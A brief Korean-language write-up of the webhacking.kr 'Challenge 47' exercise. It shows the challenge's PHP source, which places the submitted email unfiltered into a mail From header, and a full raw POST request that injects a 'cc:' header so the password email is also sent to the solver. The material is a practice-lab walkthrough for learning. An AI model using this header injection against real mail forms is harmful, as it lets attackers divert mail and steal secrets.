메일 헤더 인젝션이라고 한다. index.phps도 제공되지 함께 보자
<html> <head> <title>Challenge 47</title> </head> <body> Mail Header injection <pre> <form method=post action=index.php> <font size=2>Mail</font> : <input type=text name=email size=50 style=border:0 maxlength=50><input type=submit> </form> <? if($_POST[email]) { $pass="????"; $header="From: $_POST[email]\r\n"; mail("admin@webhacking.kr","readme","password is $pass",$header); echo("<script>alert('Done');</script><meta http-equiv=refresh content=1>"); } ?> </pre> <!-- index.phps --> </body> </html>
별다른 필터링도 없다. 메일 헤더 인젝션이라니까, admin@webhacking.kr로 가는걸 가로 채서 나한테 보내야될 것 같다.
mail header injection으로 많이 찾아봤는데 Reply-To도 있고 Bcc도 있고 Cc도 있는데 그냥 간단하게 cc로 해보도록 한다.
raw를 조작해 요렇게 보내준다. (urlencode하기 귀찮아 그냥 바로 넣었다)
POST http://webhacking.kr/challenge/bonus/bonus-11/index.php HTTP/1.1 Host: webhacking.kr Connection: keep-alive Cache-Control: max-age=0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Origin: http://webhacking.kr Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.110 Safari/537.36 Content-Type: application/x-www-form-urlencoded Referer: http://webhacking.kr/challenge/bonus/bonus-11/index.php Accept-Encoding: gzip, deflate Accept-Language: ko-KR,ko;q=0.8,en-US;q=0.6,en;q=0.4 Cookie: PHPSESSID=; kk=1 email=@naver.com cc: @naver.com
뭐 이런 모양이다. 패스워드가 화면에 표시되고 문제 끝.